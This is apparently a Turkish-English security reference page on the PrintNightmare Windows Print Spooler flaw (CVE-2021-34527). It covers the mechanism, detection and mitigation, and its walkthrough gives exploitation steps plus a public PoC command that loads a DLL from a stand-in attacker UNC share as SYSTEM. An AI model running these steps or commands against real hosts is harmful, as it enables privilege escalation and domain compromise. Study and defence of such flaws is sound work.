Skip to content

PrintNightmare RpcAddPrinterDriverEx code exec (CVE-2021-34527)

Windows Print Spooler, authenticate edilmiş bir user'ın uzaktaki/yereldeki bir path'ten bir printer "driver"ı kurmasına izin verir; spoolsv.exe o DLL'i SYSTEM olarak yükler ve kurulum RPC'sini local privilege escalation ile remote code execution'a çevirir.

Mechanism

PrintNightmare, RpcAddPrinterDriverEx'i (ve ilişkili AddPrinterDriverEx MS-RPRN/MS-PAR path'ini) suistimal eder. CVE-2021-1675'in bir kardeşidir: 1675 için çıkan yama bir LPE'yi ele aldı, ama 34527 privilege/path check'lerinin hâlâ bypass edilebilir olduğunu gösterdi.

Note

Trust invariant şudur: yalnızca privileged bir administrator bir print driver kurabilmelidir, çünkü spooler servisi (spoolsv.exe) SYSTEM olarak çalışır ve driver modüllerini o process'in içine yükler. Spooler, driver dosyalarını kopyalayıp ardından DRIVER_INFO yapısında adı geçen configuration/UI DLL'ini yükleyen RpcAddPrinterDriverEx'i dışa açar. Bug şu: driver kurulumunu administrator'lara kısıtlaması gereken privilege check bypass edilebilir (spooler çağrıyı normal, authenticate edilmiş bir user'dan kabul eder) ve driver path'i güvenilir yerel konumlara sınırlı değildir — saldırgan kontrolündeki bir UNC share'e (\\attacker\share\evil.dll) işaret edebilir. Yükleme SYSTEM düzeyindeki servisin içinde gerçekleştiği için, saldırgan tarafından sağlanan bir DLL SYSTEM privilege'leriyle çalışır. named-pipe/RPC arayüzü üzerinden uzaktan erişilebilir olduğundan, domain ortamlarında aynı zamanda bir RCE'dir.

Walkthrough

Kavramsal olarak exploitation şudur: kötü niyetli bir DLL host et, sonra RpcAddPrinterDriverEx'i onu yükleyecek şekilde sür.

1. Stand up an SMB share exporting evil.dll (the "driver"):
      \\ATTACKER\share\evil.dll   (a DLL whose DllMain runs your payload)
2. As any authenticated user, bind to the spooler RPC interface (MS-RPRN/MS-PAR)
   over \pipe\spoolss on the target.
3. Call RpcAddPrinterDriverEx with a DRIVER_INFO_2/DRIVER_INFO that points
   pConfigFile / pDataFile at the UNC path, and flags that skip the
   "driver must be valid/compatible" restrictions.
4. spoolsv.exe (SYSTEM) copies and LOADS evil.dll -> DllMain runs as SYSTEM.

Public PoC'ler (örn. cube0x0'unki ve orijinal Zhiniang Peng & Xuefeng Li yayını) bunu Impacket tarzı RPC ile gerçekler:

# illustrative public-tooling invocation (cube0x0 PrintNightmare PoC)
python3 CVE-2021-34527.py 'DOMAIN/user:password@TARGET' '\\ATTACKER\share\evil.dll'
DLL nereye düşer

Bırakılan driver DLL'leri spooler'ın driver store'u altında belirir, örn. C:\Windows\System32\spool\drivers\x64\3\..., ve başarılı bir yükleme tipik olarak spoolsv.exe'nin beklenmedik bir modülü map'lemesi ve/veya rundll32.exe spawn etmesi şeklinde görünür.

Warning

Yalnızca yetkili test için. PrintNightmare yaygın biçimde silah hâline getirildi; yamasız fleet'lerde tek bir low-privileged domain hesabı SYSTEM/domain compromise'a pivot edebilir.

Detection

  • spoolsv.exe'nin az önce yazılmış ...\spool\drivers\... içindeki DLL'leri yüklemesi ya da rundll32.exe/child process spawn etmesi.
  • %SYSTEMROOT%\System32\spool\drivers\... içinde yeni DLL'ler ve non-admin user'lardan gelen RpcAddPrinterDriverEx çağrıları.
  • UNC/uzak path'lere referans veren spoolsv.exe için Sysmon ImageLoad event'leri.

Mitigation

  • Microsoft'un CVE-2021-34527 güncellemelerini uygulayın; yalnızca admin'lerin driver kurabilmesi için RestrictDriverInstallationToAdministrators = 1 ayarlayın (PointAndPrint registry sertleştirmesi).
  • Mümkün olduğunda yazdırma yapmayan host'larda (özellikle domain controller'larda) Print Spooler servisini devre dışı bırakın.
  • Spooler uzak driver DLL'lerini çekemesin diye giden SMB'yi engelleyin.

References